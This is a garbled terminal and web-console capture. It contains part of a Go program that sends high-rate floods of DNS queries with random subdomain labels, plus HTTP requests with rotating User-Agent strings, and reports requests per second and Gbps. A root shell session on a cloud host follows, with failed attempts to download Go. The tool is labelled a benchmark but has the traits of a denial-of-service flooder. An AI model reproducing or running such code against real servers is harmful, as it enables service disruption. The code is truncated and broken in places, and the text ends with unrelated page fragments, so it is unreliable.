_ = c.SetWriteDeadline(now.Add(timeout))
lastDeadline = now
}
conn := dnsConns[idx]
if refreshDeadline {
_ = conn.SetWriteDeadline(now.Add(timeout))
lastDeadline = now
}
var sent uint64
start := now

for b := 0; b < batchSize; b++ {
seq++
binary.BigEndian.PutUint16(dnsBuf[0:2], seq)
binary.BigEndian.PutUint16(dnsBuf[2:4], 0x0100)
binary.BigEndian.PutUint16(dnsBuf[4:6], 1)
binary.BigEndian.PutUint16(dnsBuf[6:8], 0)
binary.BigEndian.PutUint16(dnsBuf[8:10], 0)
binary.BigEndian.PutUint16(dnsBuf[10:12], 0)

pos := 12
labLen := 4 + rng.Intn(5)
dnsBuf[pos] = byte(labLen)
pos++
for i := 0; i < labLen; i++ {
dnsBuf[pos] = byte('a' + rng.Intn(26))
pos++
}
dnsBuf[pos] = 5
pos++
copy(dnsBuf[pos:], "probe")
pos += 5
dnsBuf[pos] = 0
pos++
binary.BigEndian.PutUint16(dnsBuf[pos:pos+2], 1)
binary.BigEndian.PutUint16(dnsBuf[pos+2:pos+4], 1)
q := dnsBuf[:pos+4]

n, err := conn.Write(q)
if err != nil {
_ = conn.Close()
dnsConns[idx] = nil
loc.err++
loc.netErr++
break
}
sent++
loc.bytes += uint64(n)
}
loc.ok += sent
recordLatency(&loc, start, sent)

default: // http
for b := 0; b < batchSize; b++ {
if ctx.Err() != nil {
break
}
reqStart := time.Now()
req, err := http.NewRequestWithContext(ctx, httpMethod, httpURL, nil)
if err != nil {
loc.err++
continue
}
if baseReq != nil {
req.Header = baseReq.Header.Clone()
}
req.Header.Set("User-Agent", uaPool[rng.Intn(len(uaPool))])

resp, err := client.Do(req)
if err != nil {
loc.err++
if ne, ok := err.(net.Error); ok && ne.Timeout() {
loc.timeout++
} else {
loc.netErr++
}
continue
}
copied, _ := io.Copy(io.Discard, resp.Body)
_ = resp.Body.Close()
loc.ok++
if copied > 0 {
loc.bytes += uint64(copied)
} else if resp.ContentLength > 0 {
loc.bytes += uint64(resp.ContentLength)
}
recordLatency(&loc, reqStart, 1)
}
}

iters++
if iters&0x7F == 0 {
loc.flush(&g)
}
}
}(i)
}

start := time.Now()
tk := time.NewTicker(time.Second)
defer tk.Stop()
var prevOK, prevBytes uint64

for {
e():
ce(start).Seconds(), 0.001)
et := g.NetErr.Load()
t := g.LatCnt.Load(); cnt > 0 {
cy.Load()) / float64(cnt) / 1000.0
tf("\n\n%s%s╔══════════════════════ نتیجه نهایی تست ══════════════════════╗%s\n", green, bold, rst)
tf("  %sزمان کل:%s %.2fs  |  %sموفق (OK):%s %s%d%s  |  %sخطا:%s %s%d%s %s(net:%d, to:%d)%s\n",
, rst, el, green, rst, green+bold, totOK, rst, red, rst, red+bold, totErr, rst, dim, totNet, totTo, rst)
tf("  %sمیانگین RPS:%s %s%.0f%s  |  %sداده منتقل‌شده:%s %.2f GiB (%.2f Gbps)\n",
, rst, yell+bold, float64(totOK)/el, rst, cyan, rst, float64(totBytes)/(1024*1024*1024), gbps)
tf("  %sمیانگین Latency:%s %s%.2f ms%s\n", cyan, rst, mag+bold, avgLat, rst)
tf("%s%s╚════════════════════════════════════════════════════════════╝%s\n\n", green, bold, rst)

et := g.NetErr.Load()
t := g.LatCnt.Load(); cnt > 0 {
cy.Load()) / float64(cnt) / 1000.0
tf("\r%s[%.0fs]%s %sOK/s:%s %s%d%s %s| OK:%s %d %s| Err:%s %s%d%s %s(n:%d t:%d) | Data:%s %.2f GiB %s(%.2f Gbps) | Lat:%s %.1fms   ",
+bold, time.Since(start).Seconds(), rst,
, rst, green+bold, okRps, rst,
et, curTo, rst,
 main.go < /dev/tty
EOF
root@za-jnb-gcp-1:~# chmod +x run_bench.sh && ./run_bench.sh120
-bash: ./run_bench.sh120: No such file or directory
root@za-jnb-gcp-1:~# clear 
root@za-jnb-gcp-1:~# wget https://go.dev/dl/go1.23.4.linux-amd64.tar.gz
--2026-12-03 16:45:50--  https://go.dev/dl/go1.23.4.linux-amd64.tar.gz
Resolving go.dev (go.dev)... 104.16.12.236, 104.19.66.235, 2606:4700:194b:6d5f:13a6:c0b2:390f:7d4d
Connecting to go.dev (go.dev)|104.16.12.236|:443... 
root@za-jnb-gcp-1:~# clear
root@za-jnb-gcp-1:~# curl -L --connect-timeout 15 --max-time 300 -o go.tar.gz https://go.dev/dl/go1.23.4.linux-amd64.tar.gz
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- 0:00:15 --:--:--     0
curl: (28) Failed to connect to go.dev port 443 after 15000 ms: Timeout was reached
Connection to za-jnb-gcp-1 closed by remote host.

Reached the session time limit · 29m 59s inside

29:59 / 29:59
What they found: A company's internal database serverA database server on a company's office network, used by its business applications and looked after by a single administrator.

Live updates paused

Reconnecting…

Trying again in seconds.

The connection is gone. Reload the page to see the latest.

Paused to save the server’s work while you were away.

Couldn’t resume. Reload the page to see the latest.